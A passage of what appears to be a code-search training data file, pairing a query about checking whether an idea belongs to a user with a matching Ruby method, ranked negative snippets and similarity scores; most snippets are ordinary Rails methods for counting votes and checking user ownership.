total_down_votes\n self.reload\n self.votes.are(:down).count\n end", "def votes_needed \n if self.filed? || self.finished? # If the petition is not pending, then 0 votes are needed.\n return 0\n elsif self.pending? # Petition has not been filed yet and is pending.\n petition_votes = self.votes_for.count # Assigns number of votes for the petition.\n votes_needed = 500 - petition_votes # Calculates remining number of votes needed.\n return votes_needed # Returns number of votes neeeded.\n else \n puts \"Something is wrong with this petition.\"\n end\n end", "def vote_score\n votes.sum(:value)\n end", "def up_votes\n # we find the up votes for a post by passing value: 1 to where. This fetches a collection of votes with a value of 1. \n # We then call count on the collection to get a total of all up votes.\n votes.where(value: 1).count\n end", "def total_upvotes\n\t\tself.get_upvotes.sum(:vote_weight)\n\tend", "def num_votes \n @scores.reject { |a| a[:option] == 'absent' }.count\n end", "def seconds_for_expedition\n possible_votes / 3 + 1\n end", "def up_votes\n\t#\tself.votes.where(value: 1).count\n\t\tvotes.where(value: 1).count\n\tend", "def votes\n total_votes = 0\n self.options.each do |vote_val|\n #todo: this is probably wrong\n total_votes += vote_val.to_i\n end\n total_votes += (REDIS_VOTES.get('YES:' + self.id).to_i + REDIS_VOTES.get('NO:' + self.id).to_i)\n end", "def upvotes_size\n\t\treviews.where(satisfied: true).size\n\tend", "def upvotes\n @ups\n end", "def upvotes\n @ups\n end", "def points\n self.answer_votes.sum(:value).to_i\n end", "def upvotes_received\n reports.inject(0){|sum, report| sum + report.get_vote_difference }\n end", "def total_votes\n self.votes.sum(:value)\n end", "def review_comment_downvote_count\n number_of_downvotes = 0\n self.reviews.each do |review|\n votes = Vote.where(votable_type: \"Review\", votable_id: review.id, value: -1).count || 0\n number_of_downvotes += votes\n end\n number_of_downvotes\n end", "def votes\n self.ratings.length\n end", "def votes\n self.ratings.length\n end", "def vote_total\n if self.votes.length > 0\n self.votes.reduce(0){|sum, vote| sum + vote.value}\n else\n self.votes.length\n end\n end", "def down_votes\n votes.where(value: -1).count\n end", "def down_votes\n votes.where(value: -1).count\n end", "def up_votes_count(voting_field = \"votes\")\n eval(voting_field).try(:[], 'up_count') || 0\n end", "def downvotes_size\n\t\treviews.where(satisfied: false).size\n\tend", "def vote_down\n 100\n end", "def total_down_votes_count(voting_field = \"votes\")\n eval(voting_field).try(:[], 'total_down_count') || 0\n end", "def votes_count\n Vote.select('SUM(votes.value) AS total').\n where(\"votes.votable_id = ? AND votes.votable_type = ? \", self.id, 'Event').\n first.total.to_i\n end", "def votes\n details.at(\"div.imdbRating span[itemprop='ratingCount']\").text.gsub(/[^\\d+]/, '').to_i rescue nil\n end", "def total_votes\n votes.sum(:weight)\n end", "def review_points\n self.reviews.map { |review| review.vote_count }.inject(:+)\n end", "def score\n votes.sum(:vote)\n end", "def review_comment_vote_count\n number_of_votes = 0\n self.reviews.each do |review|\n review.comments.each do |comment|\n number_of_votes += comment.votes.count\n end\n end\n number_of_votes\n end", "def popularity\n pop = 0\n self.votes.each {|vote| pop += vote.value}\n pop\n end", "def likes\n self.cached_votes_total\n end", "def vote_sum\n sum = 0.0\n votes.each do |v|\n sum += v.value\n end\n sum\n end", "def votes_count(voting_field = \"votes\")\n eval(voting_field).try(:[], 'count') || 0\n end", "def votes_left\n vote_total = 10\n # @submissions = Submission.find_all_by_story_id(params[:id])\n @submissions.each do |submission|\n vote_total -= submission.vote\n end\n vote_total\nend", "def total_up_votes_count(voting_field = \"votes\")\n eval(voting_field).try(:[], 'total_up_count') || 0\n end", "def rating\n return 0 if total_votes == 0\n (100 * self.yeses) / total_votes\n end", "def score\n # add score caching\n total = 0\n self.votes.each do |vote|\n total += vote.value\n end\n total\n end", "def down_votes_count(voting_field = \"votes\")\n eval(voting_field).try(:[], 'down_count') || 0\n end", "def report_votes(total_votes)\n total_votes.each do |finalist, vote_count|\n puts \"#{finalist.to_s.capitalize.light_blue} received #{vote_count.to_s.yellow} votes.\"\n end\n end", "def num_votes(value = nil)\n if value\n vote_hash.values.count { |v| v == value.to_i }\n else\n vote_hash.values.length\n end\n end", "def upvotes\n votes.where(Vote.arel_table[:weight].gt(0)).sum(:weight)\n end", "def votes(type)\n send(\"unrecorded_#{type}_votes\") + motion_votes.of_type(type).count\n end", "def vote_count(for_or_against = :all)\n return self.votes.size if for_or_against == \"all\"\n self.votes.count(:conditions => {:vote => (for_or_against ? 1 : -1)}) \n end", "def total_abstain_votes\n self.votes.are(:abstain).count\n end", "def total_votes\n self.reload\n self.votes.count\n end", "def total_votes\n self.reload\n self.votes.count\n end", "def get_votes_for_post(postid)\n return Vote.select(:user_id).where(:post_id => postid).count\n end" ]
[ "0.89774925", "0.7813947", "0.76699346", "0.7635027", "0.7599955", "0.75703746", "0.7565523", "0.7489117", "0.7436106", "0.7383439", "0.7336825", "0.72956616", "0.72698736", "0.7235209", "0.7214073", "0.7164372", "0.71635085", "0.71578735", "0.7142531", "0.7129869", "0.70999086", "0.7071519", "0.70660526", "0.7063063", "0.7059817", "0.7059413", "0.70343333", "0.70295334", "0.7019972", "0.69963115", "0.6994662", "0.69584656", "0.69281", "0.69281", "0.69281", "0.69281", "0.69048315", "0.68990374", "0.6882254", "0.68770176", "0.68356174", "0.6812729", "0.680589", "0.6805174", "0.6800977", "0.67803043", "0.67540234", "0.67540234", "0.67510104", "0.6704575", "0.66966385", "0.66966385", "0.66909695", "0.66693467", "0.6663318", "0.6660087", "0.65880287", "0.6580013", "0.6570777", "0.65651363", "0.65608424", "0.6559875", "0.6559875", "0.65570325", "0.6534525", "0.65340865", "0.65169215", "0.6507749", "0.6507749", "0.6497011", "0.64779896", "0.64779896", "0.6461199", "0.6451119", "0.6445828", "0.64425695", "0.6424716", "0.64245325", "0.63755983", "0.63673013", "0.6360129", "0.634782", "0.63428575", "0.6331385", "0.6325875", "0.63232726", "0.6319619", "0.6296221", "0.6293054", "0.6265436", "0.6246236", "0.6234892", "0.6234412", "0.622888", "0.62266785", "0.622548", "0.62246394", "0.62165004", "0.62165004", "0.620582" ]
0.82861036
1
Registers the passed user as a subscriber to the idea
def add_subscriber!(user) unless self.subscribers.include? user self.subscribers << user unless self.subscribers.include? user IdeaMailer.new_subscriber_email(user, self).deliver_now end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def subscribe_author\n self.subscriptions.create user_id: self.user.id\n end", "def register(subscriber)\n subscribers << subscriber\n end", "def register_subscriber(subscriber)\n @subscribers << subscriber\n end", "def set_subscriber\n @subscriber = current_subscriber\n end", "def subscribe(user)\n @clients[user.signature] = user\n end", "def subscribe(aSubscriber)\n subscribers << aSubscriber\n end", "def subscribe\n CampaignMonitorWrapper.subscribe(id: user.id, email: user.email, name: user.name, beta: user.beta?.to_s, billable: user.billable?.to_s)\n end", "def add_event_subscriber\n\t\tevent = Event.find(params[:id])\n\t\tuser = User.find(params[:user_id])\n\t\tif !event.users.exists?(user.id)\n\t\t\tevent.users << user\n\t\t\t@del = true\n\t\telse\n\t\t\tevent.users.delete(user)\n\t\t\t@del = false\n\t\tend\n\tend", "def subscribe(user)\n return false if user == self\n if subscription = find_any_subscription_with(user)\n subscription.update_attributes(status: Subscription.statuses[:allowed])\n else\n Subscription.new(subscriber_id: user.id, user_id: self.id).save\n end\n end", "def set_subscriber\n @subscriber = Subscriber.find(params[:id])\n end", "def set_subscriber\n @subscriber = Subscriber.find(params[:id])\n end", "def set_subscriber\n @subscriber = Subscriber.find(params[:id])\n end", "def set_subscriber\n @subscriber = Subscriber.find(params[:id])\n end", "def set_subscriber\n @subscriber = Subscriber.find(params[:id])\n end", "def set_subscriber\n @subscriber = Subscriber.find(params[:id])\n end", "def new_subscription(user, subscribable)\n @user = user \n @subscribable = subscribable \n\n mail to: user.email, subject: \"Subscribed to #{subscribable.name} Updates\"\n end", "def subscribe\n @board.subscribers << current_user\n redirect_to board_path(@board), notice: \"Boarda abone oldunuz.\"\n end", "def set_subscriber\n @subscriber = Subscriber.find(params[:id])\n end", "def subscriber( name )\n raise NotImplementedError, \"please implement 'subscriber'\"\n end", "def set_subscriber\n @space = current_user.spaces.find(params[:space_id])\n @subscriber = @space.subscribers.find(params[:id])\n end", "def subscribed; end", "def subscribe\n self.subscribed = true\n end", "def subscribe!\n # TODO: Implement\n end", "def set_listener\n return unless self.controller_name == \"registrations\"\n user = User.find_for_authentication(:email => params[:user][:email])\n @listener.user_id = user.id\n user.listener = @listener\n @listener.save\n user.save\n end", "def toggle_subscriber(user) \n if subscribers.include?(user)\n subscribers.delete(user) \n elsif not user.public? and user.permitted?(:tickets, :watch, :project => project)\n subscribers << user\n end\n subscribers.include?(user)\n end", "def addmember(user)\n\t\t#generate random leid for mailchimp\n\t\tuser.euid = rand(1 .. 500000000).to_s\n\t\tuser.save\n\t\t#assuming LEID is our user id and EUID is mailchimp's unique one\n\t\t#taken from here https://bitbucket.org/mailchimp/mailchimp-api-ruby/\n\t\tsubscribers = [{ \"EMAIL\" => { \"email\" => user.email,\n \"LEID\" => user.id.to_s,\n \"EUID\" => user.euid\n },\n\n :EMAIL_TYPE => 'html',\n :merge_vars => { \"FNAME\" => user.first_name,\n \"LNAME\" => user.last_name,\n \"STATUS\" => \"Subscribed\"\n }\n }]\n\n #batch-subscribe(string apikey, string id, array batch, boolean double_optin, boolean update_existing, boolean replace_interests)\n \t@mc.lists.batch_subscribe(@mli, subscribers, false, true, false)\n\tend", "def subscribe(subscriber)\n if @id != subscriber.getId\n @subscriptions[subscriber.getId] = subscriber\n return true\n end\n return false\n end", "def subscribe(subscriber)\n handler.subscribe(self, subscriber)\n end", "def set_subscriber\n @subscriber = Subscriber.find_by(id:params[:id])\n rescue Exception => e\n render_default_error e, 401\n end", "def collections_user_added_to_job(user, job)\n @user = user\n @job = job\n\n mail(to: @user.email, subject: \"#{@user.full_name}, you have been added as a subscriber to #{@job.name}.\")\n end", "def set_subscriber\n @subscriber = Subscriber.searchById(params[:id])\n end", "def subscribe\n \nend", "def subscribe_owner\n\t subscription = owner.subscribe_to(activity_feed)\n\t subscription.save\n\t end", "def subscribe(subscriber)\n @subscriber = subscriber\n mail to: subscriber.email, subject: \"Subscription Confirmation: Welcome, #{subscriber.name}!\"\n end", "def user_registered(user)\n @user = user\n\n mail to: \"pierre@sugaryourcoffee.de\",\n subject: \"[apptrack] New User has registered for apptrack\"\n end", "def subscribed # :doc:\n # Override in subclasses\n end", "def subscribed?(user)\n user.subscription.subscribed==true\n end", "def subscribe\n \n @conversation.subscriptions << @user unless @conversation.subscriptions.exists?(@user.id)\n @notice = \"You will now receive email notifications about new replies in this conversation.\"\n \n respond_to do |format|\n format.html {\n redirect_to(@conversation, notice: @notice) and return\n return \n }\n format.js\n end\n\n end", "def subscribing?(other_user)\n subscribing.include?(other_user)\n end", "def subscribe\n @entry.subscribers << current_user\n\n rescue ActiveRecord::StatementInvalid\n # ignore ... and just render nothing (this happens when user clicks too fast before getting previous update)\n render :nothing => true\n end", "def registered(user)\n mail_to user, registered_subject\n end", "def populate_subscriber(user,same_as_senior,add_caregiver,email,params_profile)#,roles_users_hash = {})\n \tif same_as_senior == \"1\" #subscriber same as senior\n @user = (user.is_a?(User) ? user : User.find_by_id(user)) # avoid searching again\n else\n if add_caregiver != \"1\" #subscriber will also be a caregiver\n @user = User.populate_caregiver(email,user.to_i,nil,nil,params_profile)#,roles_users_hash) #sets up @user\n \t else #subscriber will not be a caregiver\n \t @user = User.new\n \t@user.email = email\n \t@subscriber_profile = Profile.new(params_profile)\n \t@subscriber_profile.save!\n \t@user.profile = @subscriber_profile\n\t \t \n \t@user[:is_new_subscriber] = true\n \t@user.save!\n end\n end\n @senior = User.find(user)\n\t role = @user.has_role 'subscriber', @senior\n\t @subscriber_user_id = @user.id\n end", "def subscribe_teachers\n self.indicated_teachers.each do |teacher|\n self.subscriptions.create user_id: teacher.id\n end\n end", "def subscribe!(subscriber, **args)\n caffeinate_campaign_subscriptions.find_or_create_by!(subscriber: subscriber, **args)\n end", "def subscribe! (user_id)\n check_auth :subscribe\n \n response = connection.post do |req|\n req.url \"/user/subscribe/#{user_id}\"\n req.body = { :format => @format }\n end\n response\n end", "def subscribed\n super\n increase_current_users\n stream_from channel\n end", "def has_subscriber?(user_id)\r\n self.subscribers.include?(user_id.to_i)\r\n end", "def after_subscribe(subscribed)\n # not required\n end", "def IsSubscribed=(arg0)", "def IsSubscribed=(arg0)", "def register(data)\n unless @registered\n @user = Hashie::Mash.new(data)\n @user.event_machine_connection_id = @connection.id\n @user.event_machine_connection = self\n puts \"uuid: #{@user.uuid}\"\n puts \"first_name: #{@user.first_name}\"\n puts \"last_name: #{@user.last_name}\"\n puts \"software_key: #{@user.auth_key}\"\n puts \"type: #{@user.type}\"\n puts \"identifier (em): #{@user.event_machine_connection_id.to_s}\"\n \n # store user in global hash - (this could also be in mongodb,mysql,redis,etc)\n $connections.store(@user.uuid,@user)\n puts $connections.inspect\n \n unless !$connections.has_key? @user.uuid\n puts \"user is registered and in $connections hash\"\n @registered = true\n $ws_notifier.call(\"#{@user.uuid} just registered on the server\",\"connection\")\n else\n puts \"epic fail. shutting down now\"\n end\n else\n puts \"user is already registered. ignoring re-registration\"\n end\n \n end", "def subscribe(subscriber, **args)\n caffeinate_campaign_subscriptions.find_or_create_by(subscriber: subscriber, **args)\n end", "def create\n event = Event.find(params[:event_id])\n current_user.subscribe(event)\n redirect_to event\n end", "def handle_subscribe\n\n @user = User.find(params[:user_id])\n current_user.follow(@user)\n\n #update the subscribe button using AJAX\n respond_to do |format|\n format.js { render :file => 'users/handle_sub_unsub.js.erb' }\n end\n\n #notify the user when someone subscribes to them\n @user.notifications.create(description:\"has subscribed to your memes!\", from_user_id: current_user.id)\n\n end", "def subscribed\n id = params.fetch(:id)\n return unless execution = JobQueue.find_by_id(id)\n\n execution.viewers.push current_user\n\n Thread.new do\n ActiveRecord::Base.connection_pool.with_connection do\n builder = EventBuilder.new(execution.job)\n execution.output.each do |event, data|\n transmit event: event, data: builder.payload(event, data)\n end\n # TODO: disconnect all listeners so they close their sockets ?\n # then replace the reloaded/finished/waitUntilEnabled stuff with that\n end\n end\n end", "def add_user_to_mailchimp \n Rails.logger.info(\"Mailchimp subscribe request being made\")\n unless self.email.include?('@example.com')\n mailchimp = Hominid::API.new(AppConstants.mailchimp_key) \n list_id = mailchimp.find_list_id_by_name AppConstants.mailchimp_list \n info = { }\n result = mailchimp.list_subscribe(list_id, self.email, info, 'html', false, true, false, true)\n Rails.logger.info(\"Mailchimp subscribed for the email id #{self.email} to #{AppConstants.mailchimp_list}\")\n end\n end", "def set_subscribe\n pa = params[:subscribe]\n @subscribe = params[:id].to_i.zero? ? Subscribe.where(user_id: pa[:user_id], target_id: pa[:target_id]).take : Subscribe.find(params[:id])\n end", "def fAddSubscribedEventTo(email, eventID)\n @users.addSubscribedEventTo(email, eventID)\n end", "def step3\n user = session[:user]\n #for v1, always this will be the subscription basic 18$, for v2 this will change\n user.subscription_id = 1\n end", "def set_user_to_channel_subscription\n @user_to_channel_subscription = UserToChannelSubscription.find(params[:id])\n end", "def subscribed(user)\n mail to: user.email\n end", "def add_subscription(entity)\r\n subscriptions << entity\r\n end", "def add_moderator(user)\n \n if self.users.moderators == nil || subscriber?(user) == false\n # puts \"********************\"\n # puts user\n # puts \"******\"\n # puts self.users.moderators\n # puts subscriber?(user) == false\n # puts \"********************\"\n Subscriber.create(category: self, user: user, moderator: true)\n else\n s = Subscriber.where(:category_id => self.id, :user_id => user.id).limit(1)[0]\n s.moderator = true\n s.save\n end\n end", "def mark_subscribed!\n return unless with_states?\n\n unless user.subscribed?\n user.skip_mailchimp_callbacks = true\n user.subscribe!\n end\n end", "def set_prescriber\n @prescriber = Prescriber.find(params[:id])\n end", "def register!(user)\n raise \"Already registred\" if user and not user.guest?\n self.user = user and save!\n end", "def subscribe(subscriber, subscription_level = Subscription::Levels[:reader])\n\n if sub = subscription_to(subscriber)\n # no need for equine abuse post-mortem\n return if sub.level == subscription_level\n else\n # Build a subscription\n sub = self.subscriptions_to.build(Sable.subscriber_relation_name.to_sym => subscriber)\n\n # Manually assigning +subscribable+ ensures the current instance will\n # carry forward (useful in combination with +suppress_notifiables+)\n sub.subscribable = self\n end\n\n sub.level = subscription_level\n sub.save! unless new_record?\n end", "def subscribe\n if User.exists?(email: params[:user][:email])\n render json: { status: 'The email is already taken' }, status: :bad_request\n else\n subscribed_user = SubscribedUser.create!(user_params)\n render json: { status: 'Created' }, status: :created if subscribed_user\n render json: { status: 'Something wrong happened' }, status: :bad_request unless subscribed_user\n end\n rescue\n render json: { status: 'Something wrong happened' }, status: :bad_request\n end", "def push_subscription(object)\n local_server.subscribe(object)\n synchro_point\n end", "def Registered(user)\n @user = user\n @greeting = \"Hi\"\n \n mail to: @user.email, subject: 'upartner会員登録完了'\n end", "def authorize subscriber, node\n true\n end", "def subscribe(cls, &block)\n @subscribers[cls.name] = block\n end", "def add_user_to_marketing_list(user)\n gv_free_5_alerts_plan_list = 'a8c9d4b3b1'\n location = user.locations.last\n \n merge_vars = {\n 'FNAME' => user.first_name,\n 'LNAME' => user.last_name,\n 'PHONE' => user.phone_number,\n 'COMPANY' => location.name,\n 'WEBSITE' => location.website,\n 'ADDRESS' => [:addr1 => location.street_address, \n :addr2 => location.address_line_2, \n :city => location.city, \n :zip => location.zip ]\n }\n double_optin = false\n response = Mailchimp::API.listSubscribe({:id => gv_free_5_alerts_plan_list,\n :email_address => user.email, :merge_vars => merge_vars,\n :double_optin => double_optin})\n rescue => e\n puts \"Error from Mailchimp\"\n puts e.message\n end", "def new\n @subscriber = Subscriber.new\n end", "def set_subscription_user\n @subscription_user = SubscriptionUser.find(params[:id])\n end", "def subscribe_to_magazine(magazine)\n Subscription.new(self, magazine)\n end", "def subscribers\n Hey::Subscriber.new api_token: api_token\n end", "def add_subscriber!(product, account, role)\n subscription = product_subscription(product)\n if !subscription.nil?\n subscriber = subscription.subscribers.select { |s| s.account.id.to_s == account.id.to_s }.first\n if subscriber.nil?\n subscription.subscribers << Subscriber.new(:account=>account, :role=>role)\n self.save!\n else\n # update role in case it was upgraded or downgraded\n subscriber.role = role\n subscriber.save!\n end\n else\n raise \"Product not found: #{product}\"\n end\n end", "def subscriber(name)\n subscriber_name = \"#{@name}.#{name}\"\n @client.sadd @name, subscriber_name\n queue = ::Qup::Adapter::Redis::Queue.new(@uri, subscriber_name, @name)\n ::Qup::Subscriber.new( self, queue )\n end", "def pubsub; end", "def has_subscriber?(user_id)\n # In the case of an Indivual tournament\n if is_individual?\n users.exists?(user_id)\n else\n # If we are in a team kind of tournament\n memberships.exists?(:user_id => user_id)\n end\n end", "def subscribed_to_blog(user)\n @user = user\n mail to: @user.email, subject: \"Bienvenue sur la newsletter CoursAvenue\"\n end", "def subscribe_to_list(user, list, options={})\n post(\"/#{user}/#{list}/subscribers.json\")\n end", "def register(song_name)\n prior_play = @current_user.listens.select{|listen| listen.name == song_name}.first\n if prior_play\n @current_listen = prior_play\n @current_listen.plays += 1\n else\n @current_listen = Listen.new\n @current_listen.name = song_name\n @current_listen.plays = 1\n @current_user.listens << @current_listen\n end\n end", "def subscribe!\n Subscription.transaction do\n subscription = create_stripe_subscription!\n store.subscriptions.create!(\n customer: user,\n stripe_plan_id: stripe_plan_id,\n stripe_id: subscription.id,\n first_date: Date.today,\n status: :active\n )\n end\n end", "def subscribe(magazine, price)\n Subscription.create(price: price, magazine_id: magazine.id, reader_id: self.id)\n end", "def start_typing(_user)\n PubSub::Publisher.new.publish_for(user_participants.online.where.not(id: _user.id), 'start_typing', {source: {id: id}, user: _user.as_basic_json(:now)}, {foreground: true})\n end", "def subscribe(email)\n return false if subscriber?(email)\n\n store[name].create(email)\n\n true\n end", "def grant_subscribe client, &block\n control_request(\"grant_subscribe\", client, &block)\n end", "def subscribe_to_comments user\n subscription = find_or_build_comment_subscription user\n subscription.subscribed = true\n subscription.save!\n end", "def account_activation(subscriber)\n @greeting = \"Hi\"\n @subscriber = subscriber\n\n mail to: subscriber.email, subject: \"Confirm subscription\"\n end", "def subscribeTo (event)\r\n @subscribedEvents.add(event)\r\n end", "def adduser(email, password, first_name, last_name, slug)\n @user = User.invite!(:email => email, :slug => slug) do |u|\n u.skip_invitation = true\n end\n token = @user.instance_variable_get(:@raw_invitation_token)\n User.accept_invitation!(:invitation_token => token,\n :password => password,\n :password_confirmation => password,\n :first_name => first_name,\n :last_name => last_name,\n :slug => slug)\n\n puts \"Created User #{email} with password #{password}\"\n @user\n end", "def set_user; end", "def invited_user_registered(user)\n\t\t\tUserMailer.delay.user_registered_confirmation(user)\n\t\tend", "def create\n REDIS.sadd REDIS_SET, @user.id\n self.class.broadcast\n end", "def create\n @subscriber = Subscriber.new(params[:subscriber])\n\n @subscriber.account = @account\n\n respond_to do |format|\n if @subscriber.save\n format.html { redirect_to account_subscriber_path(@account, @subscriber), notice: 'Subscriber was successfully created.' }\n format.json { render json: @subscriber, status: :created, location: @subscriber }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subscriber.errors, status: :unprocessable_entity }\n end\n end\n end", "def subscribe\n\t\t@subject = Subject.find_by_name(params[:name])\n\t\t@customer = current_user.customer\n\t\t@customer.subjects << @subject\n\t\tflash[:success] = \"You have subscribed to #{@subject.name}.\"\n\t\tredirect_to root_url\n\tend", "def add_subscriber(list_id, email, name)\n Result.new(Subscriber_Add(\"ListID\" => list_id, \"Email\" => email, \"Name\" => name))\n end", "def subscribe(options, &block)\n subscriptions.create(options, &block)\n end" ]
[ "0.723578", "0.7168125", "0.71269363", "0.71071494", "0.69696", "0.69315207", "0.69106203", "0.68531716", "0.67488503", "0.6678877", "0.6678877", "0.6678877", "0.6678877", "0.6678877", "0.6678877", "0.6630679", "0.6626333", "0.662532", "0.6583645", "0.6570963", "0.6512023", "0.65114754", "0.6444694", "0.6420531", "0.635177", "0.633963", "0.63186", "0.6317602", "0.63126767", "0.6264076", "0.62312293", "0.6209158", "0.6198278", "0.619641", "0.6191515", "0.61399084", "0.6116464", "0.6097102", "0.6089033", "0.6082337", "0.6063506", "0.60599965", "0.60593224", "0.60539615", "0.60481197", "0.6031568", "0.6025869", "0.602525", "0.6016548", "0.6016548", "0.5994474", "0.59887064", "0.5981665", "0.59790516", "0.5972437", "0.59562594", "0.59549546", "0.59525627", "0.59409845", "0.5939952", "0.59310395", "0.5914793", "0.59138376", "0.5909163", "0.58880174", "0.5887069", "0.58849144", "0.5861041", "0.5853102", "0.5850645", "0.58474255", "0.584306", "0.5835403", "0.5835132", "0.5826791", "0.5813333", "0.58043206", "0.5795171", "0.5792075", "0.5791935", "0.57725036", "0.5770901", "0.57685596", "0.57530016", "0.57482207", "0.5748195", "0.574246", "0.5730854", "0.5726199", "0.5724928", "0.5722554", "0.57223284", "0.5718955", "0.57140005", "0.57090765", "0.5697752", "0.5686349", "0.56848574", "0.5684554", "0.5682842" ]
0.70270294
4
returns true if the instance of idea belongs to the passed user
def belongs_to?(user) return false unless user.instance_of? User return self.owner == user end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def user?(user)\n user.id == self.user_id if user\n end", "def user?(user)\n self.user_id == user.id if user\n end", "def user?(user)\n self.user_id == user.id if user\n end", "def user?(user)\n self.user_id == user.id if user\n end", "def belongs_to_user?(user)\n self.user == user\n end", "def belongs_to_user?(test_user)\n user && user.id == test_user.id\n end", "def belongs_to?(target_user)\n user == target_user\n end", "def current_user?(user)\n user == current_person.user\n end", "def owned_by? a_user\n a_user == user\n end", "def belongs_toUser?(user_id)\n if session[:user_id] == user_id\n return true\n else\n return false\n end\n end", "def belongs_to?(user)\n return nil if user.nil?\n\n owner == user\n end", "def editable_by?(user)\n\t \t# user && user == owner\n\t user == user\n \tend", "def owned_by?(u)\n self.user == u\n end", "def is_owned_by_user?(user)\n self.user == user\n end", "def applies_to?(user); false end", "def user?(user)\n users.include? user\n end", "def is_owner?(this_user)\n user == this_user\n end", "def display_link?(user)\n TeamMembership.where(idea_build_id: self.idea_build.id).any? {|tm| tm.user_id == user.id}\n end", "def editable_by?(user)\n \tuser && user == owner\n\tend", "def owner?(user)\n\t\tuser.id == self.user.id\n\tend", "def accessible_for?(user)\n user_id == user.id && !user.anonimous?\n end", "def author?(user)\n self.user == user\n end", "def is_user_tagged_to_team?(user)\n self.users.include? user\n end", "def is_owner?(user)\n user.id == self.user_id\n end", "def is_author_of?(item)\n if item.respond_to?(:user)\n self == item.user\n elsif item.respond_to?(:pseud)\n self.pseuds.include?(item.pseud)\n elsif item.respond_to?(:pseuds)\n !(self.pseuds & item.pseuds).empty? \n else\n false\n end\n end", "def owner? usr\n user_id == usr.id\n end", "def current_user?(user)\n\t\tuser == self.current_user\n\t\t\n\tend", "def satisfied_by?(_user)\n raise NotImplementedError\n end", "def editable_by?(user)\n\t\tuser && user == author\n\tend", "def has_owner(user)\n return self.user.id==user.id\n end", "def editable_by?(user)\n if self.status == :private\n self.user == user || self.featurings.map(&:user).include?(user)\n elsif status == :temporary\n true # XXX FIXME SECURITY HOLE RIGHT HERE: ANY USER CAN MODIFY TEMP SONGS FIXME\n elsif status == :public\n false\n end\n end", "def can_access?(user)\n user == self.user\n end", "def is_user?\n user ? true : false\n end", "def object_owner?\n User.find(params[:user_id]) == current_user\n end", "def can_user_access?(user)\n if user.is_account_holder_or_administrator? || self.is_user_tagged_to_team?(user)\n true\n else\n false\n end\n end", "def in_relationship?(user)\n return true if UserProject.where(user: user, project: self).first\n end", "def has_user?(user)\n self.users.include?(user)\n end", "def is_user?(_user)\n teacher = _user.class == User ? _user.portal_teacher : _user\n teachers.include? teacher\n end", "def user?\n is_a?(Merit::User)\n end", "def current_user?(user)\n\t\tcurrent_user == user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def is_potential_user?\n\t\ttrue\n\tend", "def current_user?(user)\n \t\tuser == current_user\n \tend", "def is_owner_of?(thing)\n return false unless thing.user == self\n true\n end", "def current_user?(user)\r\n user == current_user\r\n end", "def current_user?(user)\n current_user == user\n end", "def current_user?(user)\n current_user == user\n end", "def current_user?(user)\n current_user == user\n end", "def current_user?(user)\n current_user == user\n end", "def current_user?(user)\n current_user == user\n end", "def current_user?(user)\n current_user == user\n end", "def current_user?(user)\n current_user == user\n end", "def current_user?(user)\n current_user == user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end", "def member?(trip)\n trip.users.include?(self)\n end", "def editable_by?(user)\n user && self.user_id == user.id\n end", "def editable_by?(user)\n user && self.user_id == user.id\n end", "def current_user?(user)\n \t\tuser == current_user\n \tend", "def is_this_user\n\t\t@user.id == current_user.id\n\tend", "def is_owner? (opportunity)\n \topportunity.user_id == self.id\n end", "def owned?(user_to_check = current_user)\n user_to_check ? self.creator == user_to_check : false\n end", "def owner? (user)\n user == owner\n end", "def current_user?(user)\n user == current_user\n end", "def owner?(current_user)\n user == current_user\n end", "def owned_by?(current_user)\n current_user && user_id == current_user.id\n end", "def viewable_by?(actor)\n actor.is_a?(User)\n end", "def accessible_by?(user)\n return false unless user&.logged_in?\n\n accessible_by_user?(user)\n end", "def owner?(user_asking)\n user_asking.in? company.owners\n end", "def is_owner?(user)\n !user.nil? && (self.user_id == user.id)\n end", "def user?(user)\n user.blank? and return false\n unless user.is_a?(UserInfo) # user is supposed to be given by its id.\n user = UserInfo.find(user.to_i)\n end\n user.is_a?(UserInfo) \n end", "def current_user?(user)\n\t\tuser==current_user\n\tend", "def current_user?(user)\n \tuser == current_user\n \tend", "def current_user?(user)\n \tuser == current_user\n \tend", "def owned_by?(user)\n return false unless user.is_a? User\n \n # allow admins and project owners to edit\n user.admin? or self.owner == user\n end", "def owned_by?(user)\n return false unless user.is_a? User\n \n # allow admins and project owners to edit\n user.admin? or self.owner == user\n end", "def current_user?(user)\n user && user == current_user\n end", "def owned?\n user.present?\n end", "def advising?(other_user)\n advisees.include?(other_user)\n end", "def is_owned_by?(user_id)\n self.user_id == user_id\n end", "def current_user?(user)\n\tuser == current_user\n end", "def user?(user, team_id)\n if TeamsUser.where(team_id: team_id, user_id: user.id).first\n true\n else\n false\n end\n end", "def can_access user\n return self.users.include? user\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end" ]
